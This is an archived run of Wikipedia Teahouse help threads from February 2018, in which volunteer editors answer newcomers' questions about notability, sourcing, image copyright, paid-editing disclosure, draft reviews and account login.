Hi, Ldhiker. I've put the text of your draft into a box so it takes up less space; I hope you don't mind. I notice some differences between the text here and the text at Draft:Dothan, AL Notable People. If this is the text you want to have reviewed, please add it to the draft page to avoid any confusion.
I suggest you read the introduction to referencing to learn how to format references. Anon126 (notify me of responses! / talk / contribs) 04:52, 6 February 2018 (UTC)[reply]
I'd add to that, Ldhiker, that you should read WP:My first article. Please keep in mind that notability, which is our requirement for an article, isn't based on what a particular subject has done. It's based on whether or not the subject has been written about in detail by multiple reliable sources, totally independent of the subject. John from Idegon (talk) 05:07, 6 February 2018 (UTC)[reply]

linkspam?

Hey, so I added references Paradox of value but a user undid them because they were considered WP:LINKSPAM . Why? And how? i mean, this page needs more citation and i'm pretty sure i added pretty relevant stuff.

thanks. Sarah312x (talk) 05:24, 6 February 2018 (UTC)[reply]

Hello Sarah312x and welcome to the Teahouse.
Thank you for your interest in contributing to Wikipedia. When adding content, it is important to follow the relevant guidelines. Don't add content to the lead without adding to the body (the lead is an introductory summary to the body of the article). And when you add a reference, it's important that it be what the Wikipedia community considers a reliable source. At this point, most blogs do not qualify as RS.
I agree that that page would benefit from additional references. — jmcgnh(talk) (contribs) 06:07, 6 February 2018 (UTC)[reply]

Is this notable?

Hi!,

I'm new to editing Wikipedia and was wondering if the company "Cardlay" is notable enough to create a wikipedia page for? Concur and Expensify have one and Cardlay have just received funding. Thanks!

NadiaLarsen (talk) 11:56, 6 February 2018 (UTC)[reply]

Welcome to Wikipedia. You need to read the notability requirements at WP:NCORP, and then look for significant coverage of the company in multiple published reliable sources independent of the subject. Notability is not demonstrated by anything the company writes about itself, or by its press releases. If you are convinced that those notability requirements are met, you can read the advice at WP:Your first article and write a draft based on those sources, submitting it review through the Article for creation process. --David Biddulph (talk) 12:05, 6 February 2018 (UTC)[reply]
@NadiaLarsen:(edit conflict) Hello and welcome to the Teahouse. Please understand that not every company merits an article here, even within the same field. One company having an article does not automatically mean other companies get articles too. On Wikipedia, a company merits an article if it has in depth coverage in independent reliable sources that indicate how it meets the notability guidelines listed at WP:ORG. This coverage cannot include things like the company's own website, press releases, or transcripts of interviews with company staff(a more extensive list of what is not acceptable is also at WP:ORG). Wikipedia is interested in what independent sources write about a subject.
I would note specifically that a company being funded would be a routine business announcement that by itself would not establish notability. There would need to be other things independently written about it, like coverage of its business practices, news stories about it, etc.
Is there a particular reason you are asking about this company? 331dot (talk) 12:08, 6 February 2018 (UTC)[reply]
As in, are you associated with this company? Being paid by this company to create a Wikipedia article? David notMD (talk) 12:32, 6 February 2018 (UTC)[reply]
I'm not sure the user will return; and I take her removal of this discussion to mean that she is associated with the company in some way. Could be wrong, but.... 331dot (talk) 12:34, 6 February 2018 (UTC)[reply]
No doubt.[1][2] Doug Weller talk 15:09, 6 February 2018 (UTC)[reply]
Excuse me, I'm in no way connected to the company. Just interested in how something qualifies for having a Wikipedia article and have seen the company before as I'm in the accounting business and was interested in their product and how to create a wikipedia page. I tried to delete because my question was answered and thought there was no reason for the post to be up then, however, I have now learned from my mistakes. Thank you NadiaLarsen (talk) 13:27, 7 February 2018 (UTC)[reply]

What does {{!}} mean?

Hello! I see that a bot added an {{!}} sign to one of the references in the source code (User:MJesio/Book_of_Demons). I was trying to find the answer on my own on the internet and wikipedia, but probably the search engines aren't capable of handling the syntax as a regular text.

What does the {{!}} mean? MJesio (talk) 15:18, 6 February 2018 (UTC)[reply]

You'll find the answer at {{!}}. --David Biddulph (talk) 15:21, 6 February 2018 (UTC)[reply]
Hi MJesio, welcome to the Teahouse. A citation for [3] says title=Book of Demons is a Delightful Jaunt Across Hell {{!}} Unwinnable. The cited page has the html title "Book of Demons is a Delightful Jaunt Across Hell | Unwinnable", usually displayed on browser tabs. I guess you used a citation tool which automatically adds a title by reading from a web page. The tool used {{!}} to avoid the pipe character ending the title parameter. In this case "Unwinnable" is the name of the website which is already in another citation parameter website=unwinnable.com, so you can just reduce the title parameter to title=Book of Demons is a Delightful Jaunt Across Hell. Please always check that automatic citation tools give reasonable values to citation parameters. There are other citations in the page where the website name is included in the title parameter. PrimeHunter (talk) 15:36, 6 February 2018 (UTC)[reply]
  • Thank you for your assistance! I will fix those references. It strange, it appears that Editors (and citation tool) work differently on different languages. Just a curious fact :) MJesio (talk) 15:41, 6 February 2018 (UTC)[reply]
The citation tool simply copied the title from the html source of [4] which says: <title>Book of Demons is a Delightful Jaunt Across Hell | Unwinnable</title>. It is the website which chose to include the website name in the title. PrimeHunter (talk) 17:37, 6 February 2018 (UTC)[reply]

hoe is the long war journal not a reliable source on syria?

i submitted short excerpts with prominent links, the long war journal is one of the longest running continuous recordings of the various morphing's of jihadist groups in syria you where missing the names of the various groups that form in elite army i provided them, with source links to long war journal which in turn referred to the jihadists own media releases. if memory serves i provided a video attributed by the Turkish army to the elite army on bayraba hill or some such. (had their water mark, turkey announced capturing the hill that day) in what way was any of my source material not backed with video evidence or similar?110.174.207.53 (talk) 15:45, 6 February 2018 (UTC)[reply]

This discussion would be better at the reliable sources noticeboard. Previous discussions (1, 2, 3, 4) don't seem to arrive at any clear consensus. It is not really a news service but a propaganda outlet for a political think-tank (regardless of one's opinion of said politics). The safest bet would be to attribute their claims to them, instead of stating their claims as unqualified facts. Ian.thomson (talk) 15:55, 6 February 2018 (UTC)[reply]

Could you please review my article?

Hello! I was tinkering with the translation of the article about Book of Demons game on my page User:MJesio/Book_of_Demons.

Since I'm not a native English speaker and the article is almost complete, could any of you review it and point me language errors? Maybe there is a wiki page where I could ask about reviews of the articles? MJesio (talk) 17:08, 6 February 2018 (UTC)[reply]

Sure! What do I have to do?

CBNMKJUH (talk) 17:42, 6 February 2018 (UTC)[reply]

CBNMKJUH, could you please check the grammar side of the article? :) It would be awesome! I'm not sure if I mentioned you correctly ;/ MJesio (talk) 09:06, 7 February 2018 (UTC)[reply]

Is citing sources that other wikipedia articles cite allowed when creating a draft for submission?

CBNMKJUH (talk) 17:33, 6 February 2018 (UTC)[reply]

@CBNMKJUH: Hello and welcome. If you are asking if you can use a source that is used in another Wikipedia article in a draft you are writing, as long as the sources supports the claim you are making, you can likely use it wherever you wish, at least as a general policy. 331dot (talk) 17:49, 6 February 2018 (UTC)[reply]
@331dot: Thanks! I really appreciate it. I've looked stuff up on wikipedia for years but never created an account until yesterday. Then I made an article, but it got rejected because I didn't cite it properly. I was kind of feeling dissapointed, so I cited what I knew from another article. If you want to see my article, search for: Draft:Super Mario FX(game). Once again, thanks for letting me know!

CBNMKJUH (talk) 18:43, 6 February 2018 (UTC)[reply]

@CBNMKJUH: You're welcome. If you would like to learn more about citing sources, there is information at WP:CITE that you can review. 331dot (talk) 19:27, 6 February 2018 (UTC)[reply]
@331dot:Thanks!

CBNMKJUH (talk) 19:54, 6 February 2018 (UTC)[reply]

@CBNMKJUH: when doing this, don't just copy what the source looks like. Copy the actual citation in wikitext. A citation that says:
"Dylan Cuthbert". Twitter. Archived from the original on May 25, 2014. Retrieved February 6, 2018. SNES Central @dylancuthbert
makes no sense as it's obviously citing a website but you copied it without including the metadata that has the actual URLs. – Finnusertop (talk ⋅ contribs) 20:02, 6 February 2018 (UTC)[reply]

Does Wikipedia have any articles on Beach Wheelchairs?

Does Wikipedia have any articles on Beach Wheelchairs?


OttoWerlin (talk) 17:41, 6 February 2018 (UTC)[reply]

@OttoWerlin: Hello and welcome to the Teahouse and Wikipedia. In using the Search Bar in the upper right corner of the screen(I'm using a computer), there is no article on Beach wheelchairs specifically, but we do have a good article on wheelchairs located at Wheelchair(click that word to access it). It lists several types of wheelchairs, but I don't see beach wheelchairs mentioned. I don't think beach wheelchairs would merit a stand alone article, as they are simply a variant of a wheelchair, but they likely could be mentioned in the general wheelchair article along with the other types listed. My suggestion would be to visit Talk:Wheelchair, the talk page for that article, and propose such an addition. The editors that follow that page can help you with adding the information. 331dot (talk) 17:47, 6 February 2018 (UTC)[reply]
(edit conflict) There is Wheelchair § All-terrain wheelchairs which includes a paragraph on beach wheelchairs. My off-hand opinion is that we probably don't need a separate article on beach wheelchairs, but that section could really use some references and a picture. Chris857 (talk) 17:48, 6 February 2018 (UTC)[reply]
Concur with those below. Work on expansion of the existing article if you have an affinity for the topic. There is no pressing need for a stand-alone article at this point in time. Stormy clouds (talk) 20:32, 6 February 2018 (UTC)[reply]

About wikipedia's policies of vandalism

Why are Wikipedia's Policies so stict, to the point where it is unforgiving, could you give vandals a chance of redemption? TommyGu (talk) 21:42, 6 February 2018 (UTC)[reply]

@TommyGu: I'm not sure what aspect of vandalism related policies you find "strict", but if someone blocked for vandalism explains in an unblock appeal what they did wrong, why they won't do it again, and what they will do to be a productive contributor instead, they will be given another chance. If that chance is abused however, the odds of being given subsequent chances diminish considerably.
This is the second vandalism related question you have asked which I find curious. Unless you intend to be a vandal, how vandals are dealt with isn't something I would worry about, if I were you. 331dot (talk) 21:52, 6 February 2018 (UTC)[reply]
(edit conflict)For the same reason that library policies are strict about readers who scribble in their books, or tear out pages. Wikipedia vandals are usually given warnings, and are given a chance to become genuine editors, but some are incorrigible. We hope that you will overcome your strange urges and become a useful editor. Dbfirs 21:55, 6 February 2018 (UTC)[reply]

Wikimedia images

How do you copyright a Wikimedia image? Seacolor88 (talk) 21:48, 6 February 2018 (UTC)[reply]

Hello Seacolor88, welcome to our Teahouse. (Anyone who wants to write about plants is especially welcome, as far as I'm concerned!) Now, I don't quite follow your question. Any image that is on Wikimedia Commons is available for free use (both non-commercial and commecial use) under what we call a Creative Commons licence (see WP:CC BY-SA for a typical licence we would expect an image to be released under). The copyright is still owned by the creator, but all the images on Wikimedia Commons have been released under a licence which requires the copyright owner to be attributed (credited) - and that's done automatically on Wikimedia Commons. So there's no need to mention the author's name if you use that image in a Wikipedia article.
However, what we can't do is take any old image found on the internet (say this one) and put it on Wikimedia Commons. You could if you were the copyright owner, but not if you aren't. Any image that you took from a website in that way would sooner or later be deleted as a breach of copyright.
Once an image is on Wikimedia Commons it can be used by someone else, but that second person isn't able to suddenly claim copyright over it, even if they were to edit it or modify it in some way. As far as my understanding goes, the original image creator still needs to be credited as the orginal author of the derivative work.
Do these answers help you? If not, perhaps you could explain a little more clearly what it is that you would like to achieve? Regards from the UK, Nick Moyes (talk) 22:24, 6 February 2018 (UTC)[reply]
PS: Having taken a quick peek at your draft article on D.splendens, you might like to utilise this IPNI entry and this Catalogue of Life entry when you come to work on it. Bear in mind that Csapodya splendens appears to be a synonym (though this will need checking carefully as Deppea might just be a basionym), so you will need to avoid having two conflicting page titles. (we usually put synonyms in a taxobox, but they can be mentioned in the text if you wish). A WP:REDIRECT can also be created to link two different names to the one primary article, too). Nick Moyes (talk)
Hello, Seacolor88. I'm afraid you'll have to explain your question a bit more, because I don't understand what you're asking. "Copyrighting" isn't something you can do to an image: all images are automatically copyrighted, unless they are in the public domain either by reason of age (eg pictures published before 1923 in the US), or because they are below the threshold of originality (eg a logo consisting of simply geometric shapes) or they have been explicitly placed in the public domain by their copyright holders (eg many images produced for the US federal government). --ColinFine (talk) 22:26, 6 February 2018 (UTC)[reply]
Csapodya splendens
Ahh! I see why you might be asking now, Seacolor88. You've made rather a big mistake by trying to re-upload this image to Wikipedia when it already exists here on Wikimedia Commons in a higher resolution format, and properly licenced, too. That's a no-no, so it has rightly been marked for deletion - so just let it go, and don't try that method again. LOL! What you only needed to have done is to look for the "Use this file" box on the Commons image and copied the text that's displayed there when you click the tiny 'W' logo, i.e.: [[File:Csapodya splendens BOGA Bern 1.jpg|thumb|Csapodya splendens BOGA Bern 1]] then paste it into your draft, just as I've done here, though I've shortened the caption a bit. Does that make sense now? Nick Moyes (talk)

What if scenario

What would happen if for one day, admins let people do whatever they want to wikipedia and not get caught TommyGu (talk) 21:58, 6 February 2018 (UTC)[reply]

@TommyGu: This page isn't really meant as a forum to speculate about Wikipedia; it meant to ask questions about using Wikipedia. 331dot (talk) 22:01, 6 February 2018 (UTC)[reply]
@TommyGu: For a new editor, you seem to have an odd preoccupation with questions of vandalism. Wikipedia is not an anarchy and is free and open only to the point where it does not interfere with creating an encyclopedia. --Drm310 🍁 (talk) 22:05, 6 February 2018 (UTC)[reply]
@TommyGu: Why are you so keen to know how to ruin the best encyclopaedia in the world? Dbfirs 22:07, 6 February 2018 (UTC)[reply]
Regular editors do a pretty good job of reverting vandalism, so I'm sure we'd cope for a day without the ability to block users. It would waste a lot of those editors' time, though. Cordless Larry (talk) 22:11, 6 February 2018 (UTC)[reply]
TommyGu These repeated questions about your desire to vandalize Wikipedia are not constructive and not welcome. If you have questions about improving the encyclopedia this is the appropriate forum, otherwise, that's quite enough. GMGtalk 22:51, 6 February 2018 (UTC)[reply]

To confess, I've vandalized Wikipedia because my gut said so a very long time ago. I still feel the urge and I need help please, i need to prevent myself from vandalizing Wikipedia again and stop myself from being addicted to it. Please help me give reasons why I shouldn't vandalize Wikipedia, I want to become a good faith editor but don't know how TommyGu (talk) 23:49, 6 February 2018 (UTC)[reply]

Unlike many other young editors who make great contributions here, are you saying you realise you don't yet have the maturity to control your urges to damage the hard work of everyone who works so hard and collaboratively to build this encyclopaedia? It's great that you recognise your weakness, and want to do something about it. But it's rather sad if you can't control a childish urge. I assume you don't want to get totally blocked from editing, so the best way is this fresh start, and demonstrating what you can contribute to. Take a look at your contributions so far: [5] You can watch them grow as you make small improvements, bit by bit, to articles you're interested in. Only add facts that you can support with evidence, but why not start by simply reading articles you're interested in and making small improvements, like correcting spellings or punctuation? There are lots of jobs that we'd love more help to do. Why not check out Wikipedia:Task Center for ideas? You obviously know other editors will see all your work, and that you'll soon get blocked from all editing if you were to mess around. But wouldn't you rather be thanked or know that you're helping out positively? No more questions now - you're beginning to sound like some trolls do - so just go off and work together with everyone else to make Wikipedia even greater. In ten years time you might be looking back and saying, wow, look what I helped to build! No more questions on this topic - there are no more replies to give you. Nick Moyes (talk) 00:57, 7 February 2018 (UTC)[reply]
@TommyGu: Your repeated raising this vandalism issue is itself a form of vandalism, as you are wasting time of people who commit to help others. To cite Master Yoda ""Do or do not, there is no try." For you, either make useful edits or do nothing. David notMD (talk) 04:33, 7 February 2018 (UTC)[reply]
A WP:NOTHERE block could probably be considered. Roger (Dodger67) (talk) 11:29, 7 February 2018 (UTC)[reply]
@Dodger67: A WP:CHECK might also be a good idea if this user's admitted history of vandalism (and emerging recidivism) is true. --Drm310 🍁 (talk) 14:32, 7 February 2018 (UTC)[reply]
@Nick Moyes: I'm sorry, I will redeem myself. I really want to have some help, I'd like to have someone guide me, that is why I put myself in the adopt a user program, Would anyone please give me a hand and start my cycle of forgiving myself and anothers of my wrongs? TommyGu (talk) 01:36, 8 February 2018 (UTC)[reply]
@TommyGu: I have just placed detailed advice on your Talk Page. You gain forgiveness by becoming a good editor. No more chit-chat is needed here. Nick Moyes (talk) 11:44, 8 February 2018 (UTC)[reply]

Fire Sprinkler systems marked as "defunct" - now what?

I don't understand the instruction on how I can add a 'dodo' item to a wiki page marked as 'defunct'. When I go to related pages, I find that they're usually short and incomplete, therefore where do I start?

ThanksEweezeke (talk) 00:39, 7 February 2018 (UTC)[reply]

Hi Eweezeke, welcome to the Teahouse. Please link the page you refer to or give the exact name. I couldn't guess it from searches. And what do you mean by a 'dodo' item? Do you think the page shouldn't be marked defunct? PrimeHunter (talk) 00:53, 7 February 2018 (UTC)[reply]
Oh sorry, instead of 'dodo' I meant 'todo'. I wanted to add something important to this page that is marked 'defunct' when I go into the talk area. The page is: https://en.wikipedia.org/wiki/Fire_sprinkler_systemEweezeke (talk) 01:56, 7 February 2018 (UTC)[reply]
It is the project WP:WikiProject Fire Protection which is labelled as defunct, not the article Fire sprinkler system. If there are edits which you feel need to be made to the article, and you can support the edits with references to published reliable sources, you can either make the edits yourself or suggest them in a new section on the article talk page. --David Biddulph (talk) 02:03, 7 February 2018 (UTC)[reply]
@Eweezeke: Yes, you can just click the "New section" tab at Talk:Fire sprinkler system and post a suggestion. Or click edit on the article and edit it yourself with references. PrimeHunter (talk) 02:27, 7 February 2018 (UTC)[reply]
@Eweezeke: I have replied to you on the articles talkpage. I fixed the dead links and will help with the info you want to add, if you need help. NFPA is an excellent ref source! Regards, Tribe of Tiger Let's Purrfect! 22:00, 7 February 2018 (UTC)[reply]
@Tribe of Tiger: Great, I will start work on the S sub s Seismic Calculation procedure and hopefully you can help me work it into the article. It will take me a week or so to pull it together. Thanks for offering your help. Eweezeke (talk) 23:08, 7 February 2018 (UTC)[reply]

Is there a criteria for image replacement in an article?

Hello Teahouse. I do some editing but most of my contributions to Wikipedia have been images and I am starting to get into video. It has not become an issue yet but I have wondered if there is a criteria for replacing an existing User:image in an topic article with a better one? I do not intend to offend but if I have a better image (better illustration of topic; sharper; better exposure; taken on a sunny day etc.), under what conditions and by what mechanism would I replace an existing image in an article?

With word editing, I would just wade in; make the edit and state my case for the change. If there is no protest after some time, my edit stands until someone changes it in the future. Does image replacement work the same way as word replacement?

Thank you in advance for your thoughts on this.GRDN711 (talk) 04:13, 7 February 2018 (UTC)[reply]

If you can provide a photo which is objectively better than the existing one - say the current one is out of focus/bad angle/obscured, it's probably best to be bold and change it. Also, depending on the article, instead of replacing the photo you may wish to add your photo in the prominent location and move an existing one elsewhere (if there is room and value in doing so). This is all contingent on there not being controversy about which image to use - in that case, you should discuss image options on the talk page. Chris857 (talk) 04:43, 7 February 2018 (UTC)[reply]
GRDN711 just to add to the above advice, bear in mind that a fair use image can never replace a free one, no matter how much better the fair use one might be. Roger (Dodger67) (talk) 10:32, 7 February 2018 (UTC)[reply]

Are exhibit names italicized?

...such as the examples in this section? I wasn't sure, and removed them, and got blowback from an editor who gave me a good going over on my talk page, and suggested I come here. Quite the place! I've heard of the page and the project, but never looked at it and don't really understand the entire concept. Will study up. Thank you for your help with this question, and for all of your work here. Pretty cool. Randy Kryn (talk) 04:20, 7 February 2018 (UTC)[reply]

Hmmm, MOS:ITALICS says to italicize "Major works of art and artifice" and "shorter works should be enclosed in double quotation marks". But, I do not see any specific advice on museum exhibits; the closest examples would seem to be paintings and sculptures. On the other hand, the NPS website uses double-quotes to refer to the exhibit. Looks like we might be in slightly uncharted territory. Chris857 (talk) 04:51, 7 February 2018 (UTC)[reply]
Is the act of curating an exhibition itself a work of art? Roger (Dodger67) (talk) 11:32, 7 February 2018 (UTC)[reply]
Pretty much anything created in the public or private realm is a work of art from the viewpoint of initial creativity, follow-through, and then presentation. Buildings aren't italicized, or clothing. Stamp or coin issues are certainly works of art, yet aren't italicized. I'm not arguing for or against on this issue, just seeking clarification per the concerns of the editor who gave me a virtual facepalm on my talk page for removing the italics and for experiencing my first venture into the teahouse. Do you folks have high-tea as well? Randy Kryn (talk) 13:28, 7 February 2018 (UTC)[reply]
@Randy Kryn: I can't offhand find anything relevant in the WP MoS, but in real-world publishing titles of exhibits are usually enclosed in quotation marks, not italicized. Not much help, perhaps. Deor (talk) 13:53, 8 February 2018 (UTC)[reply]

An Organization has asked to create a Wikipedia page for them I have created one and was working on it but soon got a message from Wikipedia that the material is a copy from website and Wikipedia says Copyright Violation, HELP!!! and guide me how to get this doneAnikn08 (talk) 05:52, 7 February 2018 (UTC)[reply]

Hi Anikn08 and welcome to the teahouse. Wikipedia takes copyright very seriously, so if you copy text from another website, the article will be deleted very quickly. If you are being paid by the organisation, then you must comply with WP:Paid. If you have some connection with the organisation (as you imply) then you should declare your conflict of interest on your talk page. You need to find independent WP:Reliable sources in which the organisation has been written about, and you should summarise what these sources say, but in your own words, not copying sentences. There is advice on your talk page, but ask again here if you need further guidance. Dbfirs 08:38, 7 February 2018 (UTC)[reply]
Hello, Anikn08. It sounds as if the organisation has the (very common) misunderstanding that Wikipedia has 'anything at all to do with how they present themselves in the world. It does not. If Wikipedia has an article about them, it will not be their article, they will have no control over its contents and be discouraged from editing it directly, and should contain little material which comes from them - Wikipedia has basically no interest in what anybody or anything says or wishes to say about themselves. A Wikipedia article should be based almost entirely on what people who have no connection with the subject have published about it in reliable places. --ColinFine (talk) 10:12, 7 February 2018 (UTC)[reply]

Reference from a picture (photo)

While finding information about an article, I havefound that information in a photo captured by someone. It is submitted in Google Maps and there I found the information. How can I give reference to that information?

AnkurHow (talk) 06:25, 7 February 2018 (UTC)

Hi AnkurHow - as a general rule, WP discourages using user-generated content as references (see: WP:RS). Ipso facto, this would include textual information contained within a photo submitted to Google Maps as the provenance or integrity of the photo couldn't be determined. Non-textual imagery contained in a photograph would run afoul of WP:OR as it would require original interpretation (e.g. you use the photograph to determine that XYZ Building is an example of Tudor architecture). That said, perhaps you can post a link to the specific photo and someone might be able to recommend an alternate source you could use? Chetsford (talk) 10:33, 7 February 2018 (UTC)[reply]
Thank you Chetsford for your suggestion. But the matter is a bit more complicated. I am editing an article about a school. The school has a scout group. The scout group was once controled by an organisation. The name of organisation is given in the photo that is submitted to gmaps. But the name is in a corner and written in tiny fonts that can not be seen by an ordinary looking. But if you look carefully, it will be seen clearly. So what should I do?AnkurHow (talk) 05:34 PM , 8 February 2018 (UTC)
I would suggest you find a documentary source. If a documentary source is not available, I'd suggest this article probably constitutes WP:OR if it requires you to conduct forensic photographic analysis. But, referencing only hypothetical organizations and schools and scout groups, I can't say for certain. Chetsford (talk) 17:40, 8 February 2018 (UTC)[reply]

Fusion of two articles into a single one

Hello!

I'd like to combine the articles Doce (sweet) and Goan cuisine into one. I think the former article should be a part of the latter article. What can I do?

Thank you.

--Yulmu (talk) 08:23, 7 February 2018 (UTC)[reply]

Hello, Yulmu. I've never tried this myself, but I believe that merging has the information you need. --ColinFine (talk) 10:14, 7 February 2018 (UTC)[reply]
Thank you, ColinFine! --Yulmu (talk) 12:05, 7 February 2018 (UTC)[reply]

Is there a way to move a table to the right?

Hello! From time to time I tinker with the translation of my Polish article about Book of Demons game.

I've tried to find any templates for awards (equivalent of Template:Recenzje gry in Polish - see it in "Historia rozwoju gry section") but found nothing that would be useful, so I've decided to use a standard table. It appeared that this solution does not look good under the text and thus my question is if can I move it to the right somehow? MJesio (talk) 10:12, 7 February 2018 (UTC)[reply]

Is there a user-friendly template to profile an individual on Wikipedia?

Is there an existing template that could be used to easily profile an individual on Wikipedia?

Oluwabrian (talk) 11:22, 7 February 2018 (UTC)[reply]

@Oluwabrian: Hello and welcome to the Teahouse. If this is your first attempt at creating an article, I would highly suggest using the Article Wizard. You should also probably read Your first article. I'm not sure if there is a pre-planned layout that you can just fill in(I think there is but I cannot find it), but there is a guide to how articles should generally be laid out at MOS:LAYOUT.
I wanted to address your use of the word "profile" which is usually associated with social media; Wikipedia is not social media to write profiles; this is an encyclopedia which has articles about subjects shown to be notable in independent reliable sources Wikipedia has no interest in what an individual wishes to say about themselves or how they want to be portrayed. The article should almost totally be based on what independent sources state. 331dot (talk) 11:38, 7 February 2018 (UTC)[reply]
There is a Template:Biography, but I would echo the advice from User:331dot. --David Biddulph (talk) 11:50, 7 February 2018 (UTC)[reply]
@David Biddulph Thank you.

Oluwabrian (talk) 15:52, 7 February 2018 (UTC)[reply]

Maintance template remove

On the article Rowboat Film- und Fernsehproduktion there is a maintance template remove message. I've fixed the issues and would like to remove the message. How can I do that?

Thanks KatharinaRB (talk) 12:21, 7 February 2018 (UTC)[reply]

@KatharinaRB: Hello and welcome to the Teahouse. I would first note that while you declare your conflict of interest, it would be good for you to better comply with the paid editing policy and more clearly state on your userpage that you are paid to edit. Please review that policy.
Regarding your question, if you feel that the issue given in a maintenance template is resolved, you can remove them by editing them out of the article, they are at the very top of the edit window in brackets. However, as you have a COI you should not remove the COI template, as you should not be the one to evaluate the article for the influence of a COI if you are the one with the COI. In all honesty I would encourage you to simply leave all the maintenance templates so an independent editor can evaluate the article. 331dot (talk) 12:26, 7 February 2018 (UTC)[reply]
@331dot

Thanks for your quick reply. On my user page I have clearly stated that I'm paid to edit and on every edit I do, I write it as well. As you said, because of COI I'm not allowed to remove the message. But I've fixed the issues. Also the German page of the company I've edited as well and the content is pretty much the same but it has no maintance message. So what can I do to have it removed on the english page? Who can I ask to remove it? Thanks KatharinaRB (talk) 12:39, 7 February 2018 (UTC)[reply]

On your userpage you state "I edit on behalf of company Rowboat Film- und Fernsehproduktion GmbH." but you do not state that you are paid there. It is possible to represent a company but not be paid by it. You do state you are paid in edit summaries(such as this one) but it would be clearer if you did on your user page. I would simply add to your statement "and I am paid to do so" or otherwise change it to be clearer that you are paid.
Different language versions of Wikipedia have different policies and editors; for example I am aware that the German Wikipedia permits and even encourages users representing a company to simply use the company name as their username, but the English Wikipedia does not allow that. If German Wikipedia editors chose not to tag the article there for issues, that's their business and has no bearing on the version of the article here.
Editors monitor the categories the maintenance templates categorize pages into, and one will likely come along and evaluate the article. Please be patient. If necessary I suppose you could also request help at the Help Desk. 331dot (talk) 12:51, 7 February 2018 (UTC)[reply]
@331dot

Thanks again for your answer. I've follewed your advice and added "and I'm paid to do so" to my user page. For the other issue I will ask at the Help Desk for help. KatharinaRB (talk) 13:46, 7 February 2018 (UTC)[reply]

Article is declined Once and Resubmitted

Hi,

When my submission Draft:Ituah Ighodalo was rejected the first time the reviewer added a comment for the next reviewer to look in the field 'Further Reading' as well as the field 'Sources' to get a full overview of the (needed) secondary sources, the editor also directed me to TeaHouse for further help. However, the article has been resubmitted for review once again.

Can someone help me to get this article accepted, as it is well documented it feels it can be a real addition to the Wikipedia encyclopedia?

All my bests. 

Niyijoseph68  (talk) . 14:44, 7 February 2018 (UTC)[reply]

The Drover's Wife (talk) Please help.
@Niyijoseph68: Hello and welcome to the Teahouse. I would ask you if you have been enlisted by Ituah Ighodalo to edit on his behalf, as the draft was initially created by him.
Regarding the draft, I think it unlikely to be accepted, as it reads like a resume or list of accomplishments. It also has very few if any independent reliable sources that give in depth coverage of Mr. Ighodalo. Wikipedia has no interest in what an article subject wishes to say about themselves and is not social media for people to post their accomplishments. Wikipedia is only interested in what independent third parties write about a subject and the article should only be based on what such sources state. 331dot (talk) 14:05, 7 February 2018 (UTC)[reply]


331dot (talk) As an editor I understand the policy of Wikipedia in helping people do that but this is far from it, the subject in question is a notable figure, a pastor and an accountant from my country and I feel he is worthy of approval. There are numerous verifiable sources about him on the google search which are not mere mentions. Kindly help look through this.

Niyijoseph68 (talk) —Preceding undated comment added 15:10, 7 February 2018 (UTC)[reply]

@Niyijoseph68: You don't actually answer my question. Were you enlisted by Mr. Ighodalo to help in writing the draft? Drafts are not easy to find unless one knows that they exist. If you weren't asked by him to help write the draft, how did you find it?
All of the sources given in the draft, though all are different websites, seem to simply be his biography which either he or someone associated with him wrote. That is not an independent reliable source. What is needed are sources not written by him, his staff, or organizations that he is involved with. This would be things like news stories or biographies written by a third party uninvolved with him. The draft should be written only based on what those independent sources state, not on his official biography. 331dot (talk) 15:25, 7 February 2018 (UTC)[reply]

@331dot: Thanks for the prompt response. Yes, I was enlisted but I was not paid to do this. How could you help fix this article? That is why I have come to the TeaHouse to see how I can improve on the article so it could be approved. 331dot (talk) I need your assistance on this.

Niyijoseph68 (talk) 16:52, 7 February 2018 (UTC)[reply]

@Niyijoseph68: Thank you for your answer. You will need to review the conflict of interest policy at WP:COI, and formally declare that you are editing on Mr. Ighodalo's behalf before doing anything else. As the current content of the draft is all based on what his official biography says, I honestly don't think it salvageable in its current form. As I indicated, any article about this person needs to all but totally be based on what independent reliable sources state about him. If you don't have independent reliable sources, it will not be possible for their to be an article about him at this time. That might be sad but it's just the way it is.
Your conflict of interest also makes writing about him difficult for you. You would need to forget everything you know about him and forget everything his official biography states, only writing based on what the independent sources state. That is usually difficult for people with a COI to do. If you think you can do that, and have appropriate independent sources, you can proceed, but if you just want to tell the world about this person, you will need to find another forum such as social media. 331dot (talk) 16:16, 7 February 2018 (UTC)[reply]

Contributing an article

How do I add pictures to my contribution. How do I get my contribution accepted and included in Wikipedia? JayJgbright (talk) 14:36, 7 February 2018 (UTC)[reply]

If this is about User:Jgbright/sandbox/Biography of Hemen Gupta, it has already been submitted for review. If it is still in its current state when it is assessed, it will certainly be rejected, as it cites no references. Moreover, the references it lists do nothing to show that its subject is notable. I suggest that you concentrate on finding some references to establish that he is notable, and citing them in your draft, rather than bothering with pictures. Maproom (talk) 14:49, 7 February 2018 (UTC)[reply]
I agree entirely with Maproom, so you need to read the advice at WP:Your first article and at Help:referencing for beginners. --David Biddulph (talk) 14:51, 7 February 2018 (UTC)[reply]

Account issues

A few weeks ago, I created an account in Wikipedia with the username jcarter8 and began a draft page tilted Psychedelic Audition. I've tried to log in several times since then but it won't recognize the username. When I try to reset the password, it says the username does not exist yet when I try to create a new account with the same name, it says the username is already in use. Somehow, the account exists in the system but I can't access it. I've noticed that whenever I type the j, it registers it as J (capitalized). I need to be able to use this account because I have a class that requires me to edit an existing page or start a new one, which means that I need to have an ongoing existing account. Can anything be done to rectify this? 2620:10A:3041:9150:609F:6575:FA5C:8155 (talk) 16:42, 7 February 2018 (UTC)[reply]

Your user page is here User:Jcarter8 (with a capital J) and your draft article is here Draft:Psychedelic Audition You won't be able to log in if you are using a lower case j. Theroadislong (talk) 16:58, 7 February 2018 (UTC)[reply]
Hi jcarter8, welcome to the Teahouse. The first character of usernames is automatically capitalized. It doesn't matter whether you write jcarter8 or Jcarter8 at login (the above reply is incorrect). The account User:Jcarter8 does exist. The message on the link means you have not created a user page but that is optional (another user has created the user page since I wrote this). The account works but it has not specified an email address at Special:Preferences so it is not possible to send a password mail. Log in at https://en.wikipedia.org/wiki/Special:UserLogin. When I enter a wrong password I get the message "Incorrect username or password entered". This does not mean the username does not exist. If you don't remember the password then you have to create a new account with another name. Special:Contributions/Jcarter8 shows the account created Draft:Psychedelic Audition. The page can be edited by other accounts or without logging in. PrimeHunter (talk) 17:02, 7 February 2018 (UTC)[reply]

New feature disappeared?

